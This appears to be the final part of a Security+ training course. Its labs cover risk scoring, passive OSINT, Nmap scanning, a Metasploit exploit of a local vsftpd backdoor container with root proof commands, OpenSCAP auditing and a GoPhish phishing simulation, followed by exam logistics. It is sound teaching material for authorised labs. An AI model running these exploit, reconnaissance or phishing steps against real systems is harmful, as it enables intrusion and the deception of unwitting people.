Score R-001 on the FIRST.org CVSS v3.1 calculator

```
$ https://www.first.org/cvss/calculator/3.1
```


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Risk Register, CVSS Scoring, and Quantitative Risk

STEP 3 OF 6

3

Compute SLE and ALE in Python

```
$ python3 -c "print(200000*0.6*0.5)"
```


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Risk Register, CVSS Scoring, and Quantitative Risk

STEP 4 OF 6

4

Choose a risk treatment (mitigate vs accept)

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Risk Register, CVSS Scoring, and Quantitative Risk

STEP 5 OF 6

5

Add Key Risk Indicators to a CSV

```
$ column -t -s, kri.csv
```


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Risk Register, CVSS Scoring, and Quantitative Risk

STEP 6 OF 6

6

Generate the one-page board risk report

```
$ cat board-report.md
```


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LAB 31 · VERIFY

Risk Register, CVSS Scoring, and Quantitative Risk

✅ Test it

The Python output shows ALE 60,000/year and board-report.md lists 4 open risks.

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DOMAIN 05 · HANDS-ON

Passive Reconnaissance / OSINT

LAB 32

Gather a domain's public footprint with passive OSINT tools that never send packets to the target.

You'll build

Passive recon report of an authorised domain

Tools: whois, dnsutils, theHarvester, subfinder, jq, crt.sh

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Passive Reconnaissance / OSINT

STEP 1 OF 8

1

Install theHarvester and subfinder

```
$ pip3 install --break-system-packages git+https://github.com/laramies/theHarvester.git
```


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Passive Reconnaissance / OSINT

STEP 2 OF 8

2

Set the authorised target domain

```
$ TARGET=example.com
```


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Passive Reconnaissance / OSINT

STEP 3 OF 8

3

Query WHOIS registrant and dates

```
$ whois $TARGET | grep -Ei "registrar|registrant|expiry|name server" | head
```


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Passive Reconnaissance / OSINT

STEP 4 OF 8

4

Enumerate DNS records (MX, TXT, NS)

```
$ dig +short MX $TARGET
```


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Passive Reconnaissance / OSINT

STEP 5 OF 8

5

Discover subdomains passively with subfinder

```
$ subfinder -silent -d $TARGET | tee subs.txt
```


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Passive Reconnaissance / OSINT

STEP 6 OF 8

6

Harvest emails and hosts

```
$ theHarvester -d $TARGET -b crtsh,duckduckgo,bing 2>/dev/null | tail -30
```


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Passive Reconnaissance / OSINT

STEP 7 OF 8

7

Pull certificate transparency records

```
$ curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | jq -r '.[].name_value' | sort -u | head -20
```


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Passive Reconnaissance / OSINT

STEP 8 OF 8

8

Build the recon report

```
$ cat recon-$TARGET.md
```


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LAB 32 · VERIFY

Passive Reconnaissance / OSINT

✅ Test it

recon-example.com.md lists the subdomain count plus DMARC and SPF records.

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DOMAIN 05 · HANDS-ON

Active Reconnaissance with Nmap

LAB 33

Fingerprint a local host with Nmap host discovery, version detection, OS detection, and NSE scripts.

You'll build

Nmap scan of local nginx and SSH targets

Tools: nmap, nginx, openssh-server

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Active Reconnaissance with Nmap

STEP 1 OF 8

1

Install nmap and start nginx + ssh targets

```
$ apt install -y nmap nginx openssh-server
```


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Active Reconnaissance with Nmap

STEP 2 OF 8

2

Discover live hosts with a ping scan

```
$ nmap -sn 127.0.0.0/30
```


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Active Reconnaissance with Nmap

STEP 3 OF 8

3

Run a TCP SYN half-open scan

```
$ nmap -sS -p 1-1024 127.0.0.1
```


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Active Reconnaissance with Nmap

STEP 4 OF 8

4

Detect service versions

```
$ nmap -sV -p 22,80 127.0.0.1
```


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Active Reconnaissance with Nmap

STEP 5 OF 8

5

Fingerprint the OS

```
$ nmap -O 127.0.0.1
```


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Active Reconnaissance with Nmap

STEP 6 OF 8

6

Run NSE discovery scripts

```
$ nmap --script=banner,http-headers,ssh2-enum-algos -p 22,80 127.0.0.1
```


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Active Reconnaissance with Nmap

STEP 7 OF 8

7

Run vulnerability NSE scripts

```
$ nmap --script=vuln -p 80 127.0.0.1
```


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Active Reconnaissance with Nmap

STEP 8 OF 8

8

Save results in three report formats

```
$ nmap -sV -oA scan-127 127.0.0.1
```


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LAB 33 · VERIFY

Active Reconnaissance with Nmap

✅ Test it

nmap -sV reports nginx on port 80 and OpenSSH on port 22, and scan-127.xml is written.

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DOMAIN 05 · HANDS-ON

Penetration Testing with Metasploit (Authorised Lab)

LAB 34

Exploit a deliberately vulnerable vsftpd service with Metasploit, prove compromise, then write the report.

You'll build

Metasploit exploit of a lab FTP container

Tools: metasploit-framework, docker.io, nmap

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Penetration Testing with Metasploit (Authorised Lab)

STEP 1 OF 8

1

Install Metasploit via the Rapid7 installer script

```
$ curl -sSL https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall
```


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Penetration Testing with Metasploit (Authorised Lab)

STEP 2 OF 8

2

Stand up the vulnerable FTP target in Docker

```
$ docker run -d --name vuln -p 2121:21 --rm tleemcjr/metasploitable2 /bin/bash -c "service vsftpd start && sleep infinity"
```


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Penetration Testing with Metasploit (Authorised Lab)

STEP 3 OF 8

3

Recon the target service banner

```
$ nmap -sV -p 2121 127.0.0.1
```


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Penetration Testing with Metasploit (Authorised Lab)

STEP 4 OF 8

4

Search Metasploit for matching modules

```
$ msfconsole -q -x "search vsftpd; exit"
```


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Penetration Testing with Metasploit (Authorised Lab)

STEP 5 OF 8

5

Run the vsftpd backdoor exploit

```
$ msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 127.0.0.1; set RPORT 2121; exploit -z; exit"
```


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Penetration Testing with Metasploit (Authorised Lab)

STEP 6 OF 8

6

Collect post-exploitation proof (id, uname)

```
$ sessions -i 1 -c 'id; uname -a; whoami; hostname'
```


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Penetration Testing with Metasploit (Authorised Lab)

STEP 7 OF 8

7

Clean up the target container

```
$ docker rm -f vuln
```


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Penetration Testing with Metasploit (Authorised Lab)

STEP 8 OF 8

8

Write the engagement report

```
$ cat pentest-report.md
```


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LAB 34 · VERIFY

Penetration Testing with Metasploit (Authorised Lab)

✅ Test it

A command session opens and `id` returns uid=0(root) from the target container.

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DOMAIN 05 · HANDS-ON

Compliance Audit with OpenSCAP

LAB 35

Audit an Ubuntu host against a CIS profile with OpenSCAP, produce the HTML report, and remediate a control.

You'll build

OpenSCAP CIS compliance scan and report

Tools: openscap-scanner/libopenscap8, ssg-base, ssg-debderived

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Compliance Audit with OpenSCAP

STEP 1 OF 6

1

Install the SSG content and OpenSCAP scanner

```
$ apt install -y openscap-scanner || apt install -y libopenscap8
```


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Compliance Audit with OpenSCAP

STEP 2 OF 6

2

Select the Ubuntu SCAP datastream

```
$ DS=$(ls /usr/share/xml/scap/ssg/content/ssg-ubuntu*-ds.xml | head -1)
```


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Compliance Audit with OpenSCAP

STEP 3 OF 6

3

List available compliance profiles

```
$ oscap info $DS | grep -A1 Profile | head -20
```


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Compliance Audit with OpenSCAP

STEP 4 OF 6

4

Run the CIS Level 1 audit

```
$ oscap xccdf eval --profile xccdf_org.ssgproject.content_profile_cis_level1_server --results-arf arf.xml --report report.html $DS
```


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Compliance Audit with OpenSCAP

STEP 5 OF 6

5

Generate the auto-remediation script

```
$ oscap xccdf generate fix --profile xccdf_org.ssgproject.content_profile_cis_level1_server --output remediate.sh $DS
```


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Compliance Audit with OpenSCAP

STEP 6 OF 6

6

Apply one fix and re-check the rule

```
$ oscap xccdf eval --rule xccdf_org.ssgproject.content_rule_package_telnet_removed $DS
```


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LAB 35 · VERIFY

Compliance Audit with OpenSCAP

✅ Test it

report.html shows pass/fail per control and the score rises after remediation.

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DOMAIN 05 · HANDS-ON

Security Awareness: Run a Phishing Simulation with GoPhish

LAB 36

Run a controlled phishing simulation with GoPhish and a MailHog sink, tracking click and open metrics.

You'll build

GoPhish campaign with a MailHog SMTP sink

Tools: gophish, docker.io, mailhog, curl, unzip

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Security Awareness: Run a Phishing Simulation with GoPhish

STEP 1 OF 7

1

Download and unzip the GoPhish binary

```
$ curl -LO https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
```


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Security Awareness: Run a Phishing Simulation with GoPhish

STEP 2 OF 7

2

Bind the admin UI to all interfaces

```
$ sed -i 's/127.0.0.1:3333/0.0.0.0:3333/' config.json
```


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Security Awareness: Run a Phishing Simulation with GoPhish

STEP 3 OF 7

3

Start GoPhish and note the admin password

```
$ ./gophish 2>&1 | grep -E "admin|password" | head -3
```


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Security Awareness: Run a Phishing Simulation with GoPhish

STEP 4 OF 7

4

Spin up the MailHog SMTP sink

```
$ docker run -d -p 1025:1025 -p 8025:8025 mailhog/mailhog
```


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Security Awareness: Run a Phishing Simulation with GoPhish

STEP 5 OF 7

5

Configure the four GoPhish primitives in the UI

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Security Awareness: Run a Phishing Simulation with GoPhish

STEP 6 OF 7

6

Launch the campaign and watch the dashboard

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Security Awareness: Run a Phishing Simulation with GoPhish

STEP 7 OF 7

7

Map click rates to training actions

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LAB 36 · VERIFY

Security Awareness: Run a Phishing Simulation with GoPhish

✅ Test it

The campaign dashboard tracks sent/opened/clicked and test emails appear in MailHog.

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DOMAIN RECAP

Recap — Security Program Management & Oversight

- You can now: Build a risk register and score with CVSS
- You can now: Collect a domain footprint using only passive tools
- You can now: Fingerprint a host with Nmap scans and NSE scripts
- You can now: Exploit a vulnerable target and write the report
- You can now: Scan a host against a CIS profile and remediate
- You can now: Operate a phishing simulation end-to-end with metrics

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WRAP-UP

Course Summary & Next Steps

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LEARNING OUTCOMES

What You Achieved

1

General Concepts

Categorised controls; applied CIA, AAA, hashing, encryption and PKI.

2

Threats & Vulns

Analysed phishing, cracked passwords, exploited SQLi/XSS, scanned and hardened.

3

Architecture

Segmented networks; deployed firewalls, WAF, VPN, disk & TLS encryption and backup.

4

Operations

Hardened access; ran SIEM, IDS, EDR, FIM, vuln management, IR and automation.

5

Program Mgmt

Scored risk with CVSS; ran recon, pentesting, compliance and awareness testing.

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NEXT STEPS

Preparing for the SY0-701 Exam

- Redo every lab until the commands and concepts are automatic.
- Review the 'What you learned' notes in each lab and the Learner Guide.
- Memorise the control categories/types, the CIA triad and the CVSS metrics.
- The SY0-701 exam is up to 90 questions in 90 minutes; passing score is 750/900.
- Book the exam through Pearson VUE from your CompTIA account.

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TEST YOURSELF

Practice Exam

- Sharpen your exam readiness with the Tertiary Infotech Security+ practice exam.
- Practice exam: https://exams.tertiaryinfotech.com/practice-exams/comptia/comptia-security-plus
- Attempt it under timed conditions and review every explanation.
- Revisit any lab whose topic you miss, then re-take the practice exam.

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Courseware & Assessment on the LMS

- Download the slides and Learner Guide from the LMS at https://lms-tms.tertiaryinfotech.com/.
- Complete the Written Assessment (WA) and Practical Performance (PP) on the LMS.
- Keep the courseware open during the assessment — it is open book.
- Remember to take the Assessment digital attendance (TRAQOM).

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Assessment

- Written Assessment (SAQ) — 6 questions, 1 hour. Practical Performance (PP) — 5 tasks, 1 hour.
- Open book: slides, Learner Guide and approved materials only.
- Remember to take the Assessment digital attendance (TRAQOM).
- Submit your completed answers on the LMS at https://lms-tms.tertiaryinfotech.com/.

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ON ASSESSMENT DAY

Assessment Flow

1. Take the Assessment digital attendance (TRAQOM · SSG QR on the LMS)
2. Sit WA (SAQ) — 6 questions, open book
3. Sit PP — 5 hands-on tasks, open book
4. Submit your answers on the LMS
5. Sign the Assessment Summary Record

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Digital Attendance (Mandatory)

- It is mandatory to take the AM, PM and Assessment digital attendance for WSQ-funded courses.
- The trainer/administrator displays the digital attendance QR code from the SSG portal.
- Scan the QR code with your mobile phone camera and submit your attendance.
- A minimum of 75% attendance is required to be eligible for assessment and funding.

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STAY SECURE

Thank You!

You are now ready to secure Linux systems — and to sit the CompTIA Security+ SY0-701 exam.

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